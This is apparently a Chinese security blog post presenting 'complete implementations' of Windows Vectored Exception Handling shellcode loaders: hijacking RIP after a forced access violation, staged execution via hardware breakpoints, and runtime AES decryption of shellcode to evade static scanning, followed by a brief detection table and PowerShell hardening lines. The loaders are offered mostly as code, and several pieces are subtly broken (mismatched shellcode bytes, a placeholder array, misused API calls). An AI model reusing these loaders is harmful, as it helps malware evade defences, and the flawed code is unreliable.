Windows VEH机制深度利用

2025-03-02 1 0

一、VEH机制核心原理

Windows Vectored Exception Handling(VEH)是一种系统级的异常处理机制,允许程序注册自定义的异常处理回调函数。相较于传统的SEH(Structured Exception Handling),VEH具有以下特性:

  • 全局优先级:在SEH之前被调用

  • 动态注册:通过AddVectoredExceptionHandler动态管理

  • 跨线程作用:处理进程中所有线程的异常

关键API

cpp

PVOID AddVectoredExceptionHandler(ULONG First, PVECTORED_EXCEPTION_HANDLER Handler);
ULONG RemoveVectoredExceptionHandler(PVOID Handle);

二、基础VEH Shellcode执行

2.1 技术原理

通过触发异常并修改上下文,直接跳转到Shellcode执行。

2.2 完整实现代码

cpp

#include <Windows.h>
#include <excpt.h>

BYTE shellcode[] = {
    0x48,0x83,0xEC,0x28,             // sub rsp, 0x28
    0x48,0x31,0xC9,                   // xor rcx, rcx
    0x48,0x31,0xD2,                   // xor rdx, rdx
    0x49,0xB8,0x57,0x69,0x6E,0x45,    // mov r8, 0x456E6957 ("WinE")
    0x78,0x69,0x74,0x00,             // ...
    0x41,0x50,                       // push r8
    0x48,0x8D,0x0C,0x24,             // lea rcx, [rsp]
    0x48,0x31,0xD2,                   // xor rdx, rdx
    0xFF,0x15,0x1A,0x00,0x00,0x00,   // call MessageBoxA
    0x48,0x83,0xC4,0x28,             // add rsp, 0x28
    0xC3                              // ret
};

LONG NTAPI VectoredHandler(PEXCEPTION_POINTERS pExc) {
    if (pExc->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {
        // 修改RIP寄存器指向Shellcode
        pExc->ContextRecord->Rip = (DWORD_PTR)shellcode;
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

int main() {
    // 注册VEH
    PVOID hHandler = AddVectoredExceptionHandler(1, VectoredHandler);

    // 分配可执行内存
    VirtualProtect(shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, NULL);

    // 触发访问违例
    volatile int* ptr = nullptr;
    *ptr = 0xDEADBEEF;

    // 清理
    RemoveVectoredExceptionHandler(hHandler);
    return 0;
}

技术要点

  • 使用EXCEPTION_ACCESS_VIOLATION触发异常

  • 修改CONTEXT.Rip劫持执行流

  • 需要设置Shellcode内存为可执行

三、内存断点触发执行

3.1 技术原理

通过设置硬件断点触发异常,在VEH回调中执行多阶段Shellcode。

3.2 完整实现代码

cpp

#include <Windows.h>
#include <excpt.h>

BYTE stage1[] = {0x90,0x90,0xC3}; // NOP; NOP; RET
BYTE stage2[] = {0x48,0x31,0xC0,0xC3}; // xor rax,rax; ret

LONG NTAPI VectoredHandler(PEXCEPTION_POINTERS pExc) {
    if (pExc->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) {
        static int phase = 0;
        
        // 阶段切换
        if (phase == 0) {
            memcpy(stage1, stage2, sizeof(stage2));
            phase = 1;
        } else {
            ((void(*)())stage1)();
        }
        
        // 重置Dr0断点
        pExc->ContextRecord->Dr0 = (DWORD_PTR)stage1;
        pExc->ContextRecord->Dr7 = (1 << 0); // 启用Dr0
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

int main() {
    PVOID hHandler = AddVectoredExceptionHandler(1, VectoredHandler);

    // 设置硬件断点
    CONTEXT ctx = {0};
    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
    ctx.Dr0 = (DWORD_PTR)stage1;
    ctx.Dr7 = (1 << 0); // 执行时触发
    SetThreadContext(GetCurrentThread(), &ctx);

    // 触发断点
    ((void(*)())stage1)();

    RemoveVectoredExceptionHandler(hHandler);
    return 0;
}

技术优势

  • 使用硬件断点触发异常

  • 分阶段加载Shellcode

  • 无连续可疑内存区域

四、内存解密执行

4.1 技术原理

在VEH回调中动态解密加密的Shellcode,规避静态扫描。

4.2 完整实现代码

cpp

#include <Windows.h>
#include <excpt.h>

BYTE encrypted_sc[] = {0xAA,0xBB,0xCC,...}; // AES加密后的Shellcode
const BYTE aes_key[] = "secret_key_123456";

LONG NTAPI VectoredHandler(PEXCEPTION_POINTERS pExc) {
    if (pExc->ExceptionRecord->ExceptionCode == EXCEPTION_ILLEGAL_INSTRUCTION) {
        // 解密Shellcode
        HCRYPTPROV hProv;
        HCRYPTKEY hKey;
        CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT);
        CryptImportKey(hProv, aes_key, sizeof(aes_key), 0, 0, &hKey);
        DWORD len = sizeof(encrypted_sc);
        CryptDecrypt(hKey, 0, TRUE, 0, encrypted_sc, &len);

        // 设置可执行权限
        DWORD oldProtect;
        VirtualProtect(encrypted_sc, len, PAGE_EXECUTE_READ, &oldProtect);

        // 跳转执行
        pExc->ContextRecord->Rip = (DWORD_PTR)encrypted_sc;
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

int main() {
    PVOID hHandler = AddVectoredExceptionHandler(1, VectoredHandler);

    // 触发异常
    __asm { ud2 } // 生成无效指令异常

    RemoveVectoredExceptionHandler(hHandler);
    return 0;
}

技术要点

  • 使用EXCEPTION_ILLEGAL_INSTRUCTION触发

  • 运行时解密加密的Shellcode

  • 结合Windows CryptoAPI实现

五、防御与检测方案

5.1 检测技术

攻击方式 检测方法
VEH注册监控 扫描非系统模块注册的VEH
异常模式分析 检测连续异常触发事件
内存特征扫描 查找异常上下文修改模式

5.2 防护建议

powershell

# 启用受控文件夹访问
Set-MpPreference -EnableControlledFolderAccess Enabled

# 监控异常处理注册
New-EventLog -LogName Security -Source "VEHMonitor"
Write-EventLog -LogName Security -Source "VEHMonitor" -EventId 6001 `
  -Message "检测到异常VEH注册: 进程 $pid"

六、技术演进方向

  1. 多阶段混淆

    cpp

    // 分阶段触发不同异常
    void Phase1() { __try { *(int*)0 = 0; } __except(1) {} }
    void Phase2() { __debugbreak(); }
  2. 结合硬件特性

    nasm

    ; 使用Intel MPX触发边界异常
    bndmov [rsp], bnd0
  3. AI驱动触发

    python

    # 动态选择最佳触发时机
    if model.predict(current_state) > threshold:
        trigger_exception()

七、法律声明

  1. 本文所述技术仅供授权安全研究使用

  2. 未经许可实施攻击违反《网络安全法》


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

HTB-Cat
APP测试0基础——APP加解密对抗
安全测试中的js逆向实战
[Meachines] [Easy] Arctic Adobe ColdFusion 8 RCE+MS10-059 Tracing Feature f…
[Meachines] [Easy] Teacher Moodle CMS RCE+Backup.sh->ln软连接滥用权限提升
fastjson 反序列化RCE漏洞复现

发布评论